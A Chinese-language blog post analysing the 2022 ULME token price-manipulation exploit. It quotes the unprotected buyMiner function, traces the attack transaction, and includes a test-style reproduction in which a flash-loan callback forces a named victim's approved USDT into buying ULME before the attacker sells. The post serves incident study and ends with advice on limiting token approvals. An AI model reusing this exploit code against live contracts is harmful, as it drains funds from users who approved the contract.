ULME价格操作漏洞分析

漏洞说明

这个漏洞简要概括就是因为,函数权限没有控制好,导致代币价格被操纵。攻击者利用合约中大量已经授权的用户购买代币提升代币价格,从而获利。

漏洞分析

漏洞相关信息

漏洞合约:0xAE975a25646E6eB859615d0A147B909c13D31FEd

攻击交易: 0xdb9a13bc970b97824e082782e838bdff0b76b30d268f1d66aac507f1d43ff4ed

漏洞复现

合约分析

本次漏洞合约是公开的,依照惯例,先分析漏洞合约和漏洞点。

本地漏洞函数是在buyMiner

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function buyMiner(address user,uint256 usdt)public returns (bool){
address[]memory token=new address[](2);
token[0]=_usdt_token;
token[1]=address(this);
usdt=usdt.add(usdt.div(10));
require(IERC20(_usdt_token).transferFrom(user,address(this),usdt), "buyUlm: transferFrom to ulm error");
uint256 time=sale_date;
sale_date=0;
address k=0x25812c28CBC971F7079879a62AaCBC93936784A2;
IUniswapV2Router01(_roter).swapExactTokensForTokens(usdt,1000000,token,k,block.timestamp+60);
IUniswapV2Router01(k).transfer(address(this),address(this),IERC20(address(this)).balanceOf(k));
sale_date=time;
return true;
}
  1. address user,对于传入的user地址没有任何的限制,导致可以操作已经approve给当前合约的用户

  2. 可以操作user使用自己的usdt购买ULME代币

    1
    2
    3
    IERC20(_usdt_token).transferFrom(user,address(this),usdt);
    ....
    IUniswapV2Router01(_roter).swapExactTokensForTokens(usdt,1000000,token,k,block.timestamp+60);

结合这两个漏洞点,就可以操作所有approve给当前合约的用户购买ULME的代币,进而提高ULME代币的价格。

攻击分析

调用栈分析

基于 0xdb9a13bc970b97824e082782e838bdff0b76b30d268f1d66aac507f1d43ff4ed 分析调用过程:

步骤一:闪电贷

通过DODO闪电贷,贷出大量的BUSD

步骤二:买入ULME代币

通过调用栈,可以看到攻击者将1000000个BUSD兑换为LUME代币

步骤三:调用buyMiner

可以看到攻击者传入了用户(0x4a005e5e40ce2b827c873ca37af77e6873e37203)和对应的授权BUSD数量(153067360139278283909712)购买ULME代币。

说明攻击者是提前收集了所有的授权了当前合约的用户已经可用的BUSD的数量。

步骤四:重复步骤三

不断利用已经授权了合约的用户购买LUME贷币,提高代币价格。

步骤五:卖出ULME代币

因为前期,攻击者大量调用buyMiner方法,通过已经授权的用户购买LUME贷币,导致LUME贷币价格升高,此时攻击者在步骤二中买入的ULME代币,即可获得高额利润,完成攻击。

代币转移分析

调用栈分析,偏向于细节,通过代币转移可以简要地看出攻击过程。

首先基于

基于 0xdb9a13bc970b97824e082782e838bdff0b76b30d268f1d66aac507f1d43ff4ed 分析代币转移过程:

步骤一:闪电贷

首先攻击者通过闪电贷获取了大量的BUSD

步骤二:获得ULME代币

通过swap操作,获得ULME的代币

步骤三:操作用户购买ULME代币

通过调用buyMiner方法,操作已经approve的用户购买ULME代币

步骤四:重复步骤三

操作其他的用户购买ULME代币

步骤五:卖出ULME代币

前面操作了大量的用户买入ULME代币,此时ULME代币价格升高,攻击者称此机会卖出ULME代币获利

步骤六:归还闪电贷

漏洞复现

基于 0xdb9a13bc970b97824e082782e838bdff0b76b30d268f1d66aac507f1d43ff4ed 复现

因为整个过程中,攻击者通过闪电贷攻击了大量的用户,但是我们为了演示方便,仅仅只是展示攻击一个受害者即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
emit log_named_decimal_uint("[Callback] Attacker USDT Balance at start", USDT.balanceOf(address(this)), USDT.decimals());
emit log_named_decimal_uint("[Callback] Attacker ULME Balance at start", ULME.balanceOf(address(this)), ULME.decimals());

// 将 USDT 换成 ULME
USDTToULME();

emit log_named_decimal_uint("[Callback] Attacker USDT Balance after frontrun swap", USDT.balanceOf(address(this)), USDT.decimals());
emit log_named_decimal_uint("[Callback] Attacker ULME Balance after frontrun swap", ULME.balanceOf(address(this)), ULME.decimals());

// 获得攻击者账户的余额
uint balance = USDT.balanceOf(address(victim));
uint allowance = USDT.allowance(address(victim), address(ULME));
uint take = balance;
if (balance > allowance)
take = allowance;

emit log_named_address("mining from:", victim);
emit log_named_uint("available for swap:", take);

// 实施攻击,攻击者调用ULME让用户购买ULME代币
ULME.buyMiner(victim,100*take/110-1);

// 将 ULME换回USDT
ULMEToUSDT();

emit log_named_decimal_uint("[Callback] Attacker USDT Balance after backrun", USDT.balanceOf(address(this)), USDT.decimals());
emit log_named_decimal_uint("[Callback] Attacker ULME Balance after backrun", ULME.balanceOf(address(this)), ULME.decimals());

// 闪电贷还款
USDT.transfer(dodo2, dodo2Balance);
emit log_named_decimal_uint("[Callback] Attacker USDT Balance after 1st repay", USDT.balanceOf(address(this)), USDT.decimals());

复现过程中的调用栈如下所示:

步骤一:闪电贷

我们在实际调用中,实际使用了两次闪电贷,总结获得了559044363987467735364956/10**18 USDT,没有ULME代币

步骤二:买入ULME代币

攻击者将闪电贷获得USDT通过pancake全部购买成为了ULME代币

购买结束之后,攻击者没有任何的USDT,拥有3665184427622820661280425/10**18 个 ULME代币

步骤三:实施攻击

调用漏洞合约的buyMiner()方法,让受害者(0x4A005e5E40Ce2B827C873cA37af77e6873e37203)用其所有的USDT,去购买ULME代币。

步骤四:攻击者卖出ULME

因为在步骤三中,调用了buyMiner()方法,当前ULME代币的价格就会升高。

攻击者卖出在步骤二中购买的ULME,获得USDT。因为当前ULME比买入的时候价格要高,所以卖出ULME代币时可以获得更多的USDT。

总结

总体来说,是一个比较明显简单的漏洞,,没有很复杂的逻辑。漏洞的合约存在几个问题:

  1. 对合约中的函数中的权限控制存在问题,任何用户都可以调用buyMiner()方法
  2. buyMiner()方法中可以操作已经授权过的任何用户

可以说,buyMiner()就类似于一个后门了。

对于用户来说,最近出现了攻击者攻击合约,操作合约中已经授权的用户,导致用户的资金损失。所以对于我们个人来说,不要轻易对合约授权,授权的金额需要按需授权。对于已经不在使用的合约,直接取消授权。

参考

https://twitter.com/BlockSecTeam/status/1584839309781135361

文章作者: Oooverflow
文章链接: https://www.oooverflow.com/2022/10/25/ULME-vuln/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Oooverflow